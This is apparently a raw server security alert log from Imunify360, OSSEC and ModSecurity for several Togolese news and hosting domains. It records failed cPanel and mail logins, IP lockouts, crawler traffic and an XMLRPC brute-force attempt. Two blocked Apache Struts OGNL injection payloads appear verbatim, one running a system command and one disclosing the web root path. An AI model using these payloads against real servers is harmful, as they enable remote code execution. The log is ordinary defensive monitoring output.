name: Anti-bot protection. User passed successfully
abuser: 47.128.96.18
country_id: 1880251
description:
47.128.96.18 - - [10/Jun/2026:15:40:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7235433&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-augmentation-prix-produits-petroliers-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781106040 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-augmentation-prix-produits-petroliers-2026/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.18


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 209.101.202.88
country_id: 6252001
description:
[2026-06-10 15:41:55 +0000] info [whostmgrd] 209.101.202.88 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.148
country_id: 1880251
description:
47.128.96.148 - - [10/Jun/2026:15:42:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9881545&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fjeune-assassine-a-adakpame%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781106130 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/jeune-assassine-a-adakpame/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.148


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.156
country_id: 1880251
description:
47.128.96.156 - - [10/Jun/2026:15:43:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184081&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbourses-et-allocation-au-bein%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781106195 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bourses-et-allocation-au-bein/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.156


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.186.134.64
country_id: 1562822
description:
[2026-06-10 15:43:31 +0000] info [cpaneld] 14.186.134.64 - metaart "GET /login/?login_only=1&user=metaart&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaart (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.185.172.204
country_id: 953987
description:
[2026-06-10 15:43:35 +0000] info [cpaneld] 197.185.172.204 - metaarttg "GET /login/?login_only=1&user=metaarttg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaarttg (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.132
country_id: 1880251
description:
47.128.96.132 - - [10/Jun/2026:15:42:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803931&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmedecin-dune-clinique-privee-poursuivi-pour-avoir-viole-une-femme-mariee%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781106169 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/medecin-dune-clinique-privee-poursuivi-pour-avoir-viole-une-femme-mariee/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.132


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.241.8.85
country_id: 2017370
description:
[2026-06-10 15:43:23 +0000] info [cpaneld] 94.241.8.85 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.253.179
country_id: 2661886
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=22 maladies des milliers qu\xe2\x80\x99on peut gu\xc3\xa9rir par l\xe2\x80\x99acte sexuel | TOGODAILYNEWS&siteId=1&rec=1&rand=940621&h=23&m=43&s=17&url=http:/togodailynews.tg/22-maladies-des-milliers-quon-peut-guerir-par-lacte-sexuel/&uid=0&pid=634&visitorId=b568af9af2c3d29b&fvts=1781106197&vc=1&idn=0&refts=0&lvts=1781106197&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=3417&pvId=EiN4IJ&browser=Chrome_56&os=Android_5.0&device=Mobile HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.164.229.26
country_id: 290557
description:
[2026-06-10 15:43:41 +0000] info [cpaneld] 217.164.229.26 - metaa "GET /login/?login_only=1&user=metaa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.211.188.152
country_id: 3469034
description:
[2026-06-10 15:43:54 +0000] info [cpaneld] 186.211.188.152 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.174.198.86
country_id: 3469034
description:
Jun 10 15:43:55 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.174.198.86 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.253.137.180
country_id: 3017382
description:
[2026-06-10 15:43:38 +0000] info [cpaneld] 86.253.137.180 - metaar "GET /login/?login_only=1&user=metaar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaar (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.174.198.86
country_id: 3469034
description:
2026-06-10 15:43:57 dovecot_plain authenticator failed for H=(qkolj2hedyz18s6scblfve) [200.174.198.86]:47292: 535 Incorrect authentication data (set_id=contacts@ucao-uut.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.173.46.252
country_id: 298795
description:
[2026-06-10 15:43:44 +0000] info [cpaneld] 78.173.46.252 - meta "GET /login/?login_only=1&user=meta&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user meta (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-10 15:44:44 +0000] info [cpaneld] 185.213.83.243 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: modsec
rule: 77350923
name: IM360 WAF: Apache Struts OGNL injection
abuser: 196.170.7.35
country_id: 2363686
domain: cpanel.otr.tg
description:
IM360 WAF: Apache Struts OGNL injection||MV:/${#context['xwork.MethodAccessor.denyMethodExecution']=!(#_memberAccess['allowStaticMethodAccess']=true),(@java.lang.Runtime@getRuntime()).exec('id').waitFor()}.action||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 185.88.103.117
country_id: 2017370
domain: soena.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:e3@9^kVl6F661RIYv48S^fjo.soena.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 10 15:44:45 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-10 15:46:13 +0000] info [cpaneld] 195.3.220.88 - tiyasuxe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tiyasuxe (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.55
country_id: 1880251
description:
47.128.121.55 - - [10/Jun/2026:15:45:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6645868&pdata=https%253A%252F%252Ftogodailynews.tg%252Fecobank-distinguee-par-de-multiples-recompenses-en-2025-marquant-quatre-decennies-de-leadership-bancaire-panafricain%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781106336 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/ecobank-distinguee-par-de-multiples-recompenses-en-2025-marquant-quatre-decennies-de-leadership-bancaire-panafricain/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.55


plugin: modsec
rule: 77350923
name: IM360 WAF: Apache Struts OGNL injection
abuser: 196.170.7.35
country_id: 2363686
domain: cpanel.otr.tg
description:
IM360 WAF: Apache Struts OGNL injection||MV:/?redirect:${#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#webroot=#req.getSession().getServletContext().getRealPath('/'),#resp=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#resp.print('At 1781106356 Nessus found the path is '),#resp.println(#webroot),#resp.flush(),#resp.close()}||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 10 15:49:23 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


